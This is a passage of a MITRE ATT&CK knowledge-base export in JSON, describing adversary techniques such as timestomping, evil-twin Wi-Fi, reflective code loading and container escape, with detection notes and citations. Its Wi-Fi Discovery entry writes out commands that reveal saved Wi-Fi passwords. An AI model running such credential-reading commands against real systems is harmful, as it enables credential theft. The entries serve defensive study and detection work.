2017"},{"url":"https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection","description":"Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.","source_name":"Microsoft Windows Event Forwarding FEB 2018"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-03-17T16:21:36.413Z","name":"New Service","description":"When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-30T15:14:56.021Z","name":"Timestomp","description":"Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nBoth the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Romain Dumont, ESET","Mike Hartley @mikehartley10"],"x_mitre_deprecated":false,"x_mitre_detection":"Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: OS API Execution","File: File Modification","File: File Metadata","Command: Command Execution"],"x_mitre_defense_bypassed":["Host forensic analysis"],"type":"attack-pattern","id":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","created":"2020-01-31T12:42:44.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/006","external_id":"T1070.006"},{"source_name":"WindowsIR Anti-Forensic Techniques","description":"Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.","url":"http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"},{"source_name":"Inversecos Timestomping 2022","description":"Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection – NTFS Forensics. Retrieved September 30, 2024.","url":"https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html"},{"source_name":"Magnet Forensics","description":"Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.","url":"https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/"},{"source_name":"Double Timestomping","description":"Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.","url":"https://x.com/matthewdunwoody/status/1519846657646604289"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-13T15:40:18.743Z","name":"Evil Twin","description":"Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia ‘Evil Twin’)\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation: medium evil twin) Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.(Citation: specter ops evil twin) A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.(Citation: specter ops evil twin) Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Network"],"x_mitre_version":"1.0","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e","created":"2024-09-17T14:27:40.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1557/004","external_id":"T1557.004"},{"source_name":"Kaspersky evil twin","description":"AO Kaspersky Lab. (n.d.). Evil twin attacks and how to prevent them. Retrieved September 17, 2024.","url":"https://usa.kaspersky.com/resource-center/preemptive-safety/evil-twin-attacks"},{"source_name":"medium evil twin","description":"Gihan, Kavishka. (2021, August 8). Wireless Security— Evil Twin Attack. Retrieved September 17, 2024.","url":"https://kavigihan.medium.com/wireless-security-evil-twin-attack-d3842f4aef59"},{"source_name":"specter ops evil twin","description":"Ryan, Gabriel. (2019, October 28). Modern Wireless Tradecraft Pt I — Basic Rogue AP Theory — Evil Twin and Karma Attacks. Retrieved September 17, 2024.","url":"https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee"},{"source_name":"Australia ‘Evil Twin’","description":"Toulas, Bill. (2024, July 1). Australian charged for ‘Evil Twin’ WiFi attack on plane. Retrieved September 17, 2024.","url":"https://www.bleepingcomputer.com/news/security/australian-charged-for-evil-twin-wifi-attack-on-plane/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-09T18:49:08.428Z","name":"Reflective Code Loading","description":"Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["João Paulo de A. Filho, @Hug1nN__","Shlomi Salem, SentinelOne","Lior Ribak, SentinelOne","Rex Guo, @Xiaofei_REX, Confluera","Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics","Jiraput Thamsongkrah"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["macOS","Linux","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Module: Module Load","Script: Script Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"type":"attack-pattern","id":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","created":"2021-10-05T01:15:06.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1620","external_id":"T1620"},{"source_name":"00sec Droppers","description":"0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.","url":"https://0x00sec.org/t/super-stealthy-droppers/3715"},{"source_name":"S1 Custom Shellcode Tool","description":"Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.","url":"https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/"},{"source_name":"Mandiant BYOL","description":"Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 4, 2021.","url":"https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"},{"source_name":"S1 Old Rat New Tricks","description":"Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.","url":"https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/"},{"source_name":"MDSec Detecting DOTNET","description":"MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.","url":"https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"},{"source_name":"Microsoft AssemblyLoad","description":"Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.","url":"https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load"},{"source_name":"Intezer ACBackdoor","description":"Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.","url":"https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"},{"source_name":"Stuart ELF Memory","description":"Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.","url":"https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html"},{"source_name":"Introducing Donut","description":"The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.","url":"https://thewover.github.io/Introducing-Donut/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-05T11:35:30.887Z","name":"Wi-Fi Discovery","description":"Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile “Wi-Fi name” key=clear` to show a Wi-Fi network’s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Christopher Peacock","Uriel Kosayev","Liran Ravich, CardinalOps","Alex Spivakovsky, Pentera"],"x_mitre_deprecated":false,"x_mitre_detection":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06","created":"2023-09-08T15:39:50.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1016/002","external_id":"T1016.002"},{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"Check Point APT35 CharmPower January 2022","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"},{"source_name":"Wi-Fi Password of All Connected Networks in Windows/Linux","description":"Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks in Windows/Linux. Retrieved September 8, 2023.","url":"https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/"},{"source_name":"Malware Bytes New AgentTesla variant steals WiFi credentials","description":"Hossein Jazi. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved September 8, 2023.","url":"https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials"},{"source_name":"Find Wi-Fi Password on Mac","description":"Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi Password on a Mac. Retrieved September 8, 2023.","url":"https://mackeeper.com/blog/find-wi-fi-password-on-mac/"},{"source_name":"BleepingComputer Agent Tesla steal wifi passwords","description":"Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords using upgraded Agent Tesla malware. Retrieved September 8, 2023.","url":"https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T16:22:25.431Z","name":"Mutual Exclusion","description":"Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.(Citation: Microsoft Mutexes) By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.(Citation: Sans Mutexes 2012)\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.(Citation: Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023)\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation: ICS Mutexes 2015)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Nagahama Hiroki – NEC Corporation Japan"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: OS API Execution","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","created":"2024-09-19T14:00:03.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1480/002","external_id":"T1480.002"},{"source_name":"Intezer RedXOR 2021","description":"Joakim Kennedy and Avigayil Mechtinger. (2021, March 10). New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor. Retrieved September 19, 2024.","url":"https://intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/"},{"source_name":"Sans Mutexes 2012","description":"Lenny Zeltser. (2012, July 24). Looking at Mutex Objects for Malware Discovery & Indicators of Compromise. Retrieved September 19, 2024.","url":"https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/"},{"source_name":"ICS Mutexes 2015","description":"Lenny Zeltser. (2015, March 9). How Malware Generates Mutex Names to Evade Detection. Retrieved September 19, 2024.","url":"https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/"},{"source_name":"Microsoft Mutexes","description":"Microsoft. (2022, March 11). Mutexes. Retrieved September 19, 2024.","url":"https://learn.microsoft.com/en-us/dotnet/standard/threading/mutexes"},{"source_name":"Deep Instinct BPFDoor 2023","description":"Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.","url":"https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-11-06T20:14:51.609Z","name":"Ignore Process Interrupts","description":"Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Viren Chaudhari, Qualys"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b","created":"2023-08-24T17:23:34.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1564/011","external_id":"T1564.011"},{"source_name":"Linux Signal Man","description":"Linux man-pages. (2023, April 3). signal(7). Retrieved August 30, 2023.","url":"https://man7.org/linux/man-pages/man7/signal.7.html"},{"source_name":"nohup Linux Man","description":"Meyering, J. (n.d.). nohup(1). Retrieved August 30, 2023.","url":"https://linux.die.net/man/1/nohup"},{"source_name":"Microsoft PowerShell SilentlyContinue","description":"Microsoft. (2023, March 2). $DebugPreference. Retrieved August 30, 2023.","url":"https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.3#debugpreference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-19T12:42:18.632Z","name":"Escape to Host","description":"Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers running on the host, or setting up a command and control channel on the host.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Yuval Avrahami, Palo Alto Networks","Daniel Prizmant, Palo Alto Networks","Alfredo Oliveira, Trend Micro","David Fiser, @anu4is, Trend Micro","Idan Frimark, Cisco","Magno Logan, @magnologan, Trend Micro","Ariel Shuper, Cisco","Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee","CrowdStrike","Eran Ayalon, Cybereason","Oren Ofer, Cybereason","Ilan Sokol, Cybereason","Joas Antonio dos Santos, @C0d3Cr4zy"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","Containers"],"x_mitre_version":"1.5","x_mitre_data_sources":["Process: Process Creation","Kernel: Kernel Module Load","Container: Container Creation","Volume: Volume Modification","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","User","root"],"type":"attack-pattern","id":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","created":"2021-03-30T17:38:34.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1611","external_id":"T1611"},{"source_name":"Container Escape","description":"0xn3va. (n.d.). Escaping. Retrieved May 27, 2022.","url":"https://0xn3va.gitbook.io/cheat-sheets/container/escaping"},{"source_name":"Windows Server Containers Are Open","description":"Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.","url":"https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/"},{"source_name":"Docker Overview","description":"Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.","url":"https://docs.docker.com/get-started/overview/"},{"source_name":"Docker Bind Mounts","description":"Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.","url":"https://docs.docker.com/storage/bind-mounts/"},{"source_name":"Trend Micro Privileged Container","description":"Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.","url":"https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html"},{"source_name":"Intezer Doki July 20","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"},{"source_name":"Crowdstrike Kubernetes Container Escape","description":"Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.","url":"https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/"},{"source_name":"Keyctl-unmask","description":"Mark Manning. (2020, July 23). Keyctl-unmask: \"Going Florida\" on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.","url":"https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T13:41:16.110Z","name":"Shortcut Modification","description":"Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also 